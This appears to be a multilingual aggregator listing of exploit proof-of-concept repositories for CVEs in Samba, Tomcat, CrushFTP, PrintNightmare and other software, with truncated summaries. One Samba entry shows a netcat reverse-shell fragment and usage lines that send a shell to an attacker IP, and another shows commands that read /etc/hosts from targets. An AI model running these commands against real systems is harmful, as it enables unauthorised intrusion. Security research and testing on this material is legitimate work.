CVE-2022-31793

CVE-2022-31793 -u указать IP -l указать файл с IP -v режим проверки -f указать файл для чтения python poc.py -u ip -v python poc.py -l url.txt -v python poc.py -u ip -f /etc/hosts python poc.py -l url.txt -f /etc/hosts...

DVWA-ZAP-PENTEST

OWASP ZAP을 사용한 DVWA 취약점 평가 DVWADamn Vulnerable Web App에 대한 실습형 웹 애플리케이션 보안 평가로, OWASP ZAPZed Attack Proxy 2.17.0 을 사용하여 수행했습니다. 이 프로젝트는 전체 워크플로우를 문서화합니다: 정찰스파이더링, 자동 취약점 스캔, 그리고 발생한 경고 분석 — 원격 코드 실행CVE-2012-1823 발견을 포함합니다. ⚠️ 면책 조항: 이 평가는 교육 목적으로 의도적으로 취약하게 만들어진 애플리케이션인 DVWA를 대상으로 격리된 실습 환경에서...

CVE-2026-14669

CVE-2026-14669 - PostgreSQL tochar Timezone Abbreviation Heap Buffer Overflow Функция tochar в PostgreSQL содержит уязвимость переполнения буфера в куче при обработке форматирования часового пояса. Злоумышленник, задав чрезмерно длинную аббревиатуру часового пояса POSIX, может вызвать запись за...

CVE-2021-1675-PrintNightmare-Analysis

Ресерч уязвимостей: Локальное повышение привилегий и RCE через Windows Print Spooler PrintNightmare / CVE-2021-1675 Репозиторий содержит подробный технический отчет Write-up и разбор концепта эксплуатации критической уязвимости в службе диспетчера печати Windows Print Spooler, позволяющей...

WSUSResponder

🧰 WSUSResponder 버전 : 1.0.1 저자 : RZA / IT Operations 라이선스 :MIT 🎯 목적 WSUSResponder 모듈은 Windows Server Update Services WSUS 에 영향을 미치는 원격 코드 실행RCE 취약점인 CVE-2025-59287 에 신속하게 대응하기 위한 PowerShell 도구 모음을 제공합니다. 다음 작업을 수행할 수 있습니다: 🔍 Active Directory 환경 또는 대상 서버 목록 스캔 🧩 취약한 WSUS 서버 식별 🛡️ Microsoft가 게시한...

CVE-2025-62593-PoC

CVE-2025-62593 — удаленное выполнение кода в Ray без аутентификации Proof-of-concept для CVE-2025-62593 — уязвимости удаленного выполнения кода без аутентификации в распределенном движке AI-вычислений Ray, эксплуатируемой с помощью браузерных DNS-rebinding атак. Уязвимость добавлена в каталог CIS...

CVE-2024-24919-Check-Point-Remote-Access-VPN

CVE-2024-24919-Check-Point-Remote-Access-VPN CVE-2024-24919 — это уязвимость неаутентифицированного произвольного чтения файлов, которую можно рассматривать не иначе как полное неаутентифицированное удалённое выполнение кода RCE. Злоумышленник может читать любые конфиденциальные файлы на затронут...

CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTP — это проприетарный многопротокольный многоплатформенный файловый сервер. CVE-2024-4040 — уязвимость внедрения шаблонов на стороне сервера в CrushFTP во всех версиях до 10.7.1 и 11.1.0 на всех платформах позволяет неаутентифицированным удалённым...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz — это система планирования ресурсов предприятия с открытым исходным кодом. Она предоставляет набор корпоративных приложений, которые интегрируют и автоматизируют многие бизнес-процессы предприятия. CVE-2024-38856 — это уязвимость до аутентификации в Apache...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow — это платформа для трансформации бизнеса, которая помогает компаниям управлять цифровыми рабочими процессами для корпоративных операций. CVE-2024-4879 может позволить неаутентифицированному пользователю удалённо выполнять код в Now Platform. Эта уязвимость...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Tomcat PUT方法任意文件写入（CVE-2017-12615）图形化漏洞利用工具 漏洞介绍 2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞（CVE-2017-12615） 影响： Apache Tomcat 7.0.0 - 7.0.79（7.0.81修复不完全） 当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为...

CVE-2017-9791

CVE-2017-9791 Module Metasploit pour Apache Struts CVE-2017-9791 Vulnérabilité d'exécution de code à distance...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE 이 저장소는 Adobe ColdFusion 2018의 RCE 취약점에 대한 익스플로잇 코드를 포함하고 있습니다. 익스플로잇 설명 익스플로잇은 JSP 리버스 셸을 포함한 POST 요청을 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm으로 보냅니다. 성공하면 이 요청은 셸을...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Utilisation root@kitploit: Exploiter la cible 10.129.232.46 sur le port 445, envoyer un shell inversé vers 10.10.14.82 sur le port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Avec rport et lport personnalisés pytho...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Описание проекта и принцип действия Первый в мире эксплойт CVE-2024-4577 PHP-CGI RCE, использующий среду PHP по умолчанию XAMPP. Первый в мире эксплойт CVE-2024-4577 PHP-CGI RCE, использующий стандартную среду PHP. Предоставляется оригинальный эксплойт, поддерживается SSRF,...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Установка root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Использование Данный инструмент написан как PoC в соответствии со спецификацией разработки фреймворка pocsuite3. Перед использованием загрузите pocsuite3. Адрес проекта root@kitploi...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 Удаленное выполнение кода...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Информация Этот репозиторий содержит два PoC для Connect Box CH7465LG, работающего на прошивке CH7465LG-NCIP-6.12.18.24-5p8-NOSH или более ранней. Более подробную информацию можно найти в моём блоге. Использование Неаутентифицированное удалённое выполнение кода...

CVE-2025-24813

Описание Данный репозиторий представляет собой среду для воспроизведения последней RCE-уязвимости CVE-2025-24813 в Tomcat. Только для обучения и исследований! Условия эксплуатации В приложении включена функция записи DefaultServlet, которая по умолчанию отключена Приложение поддерживает частичные...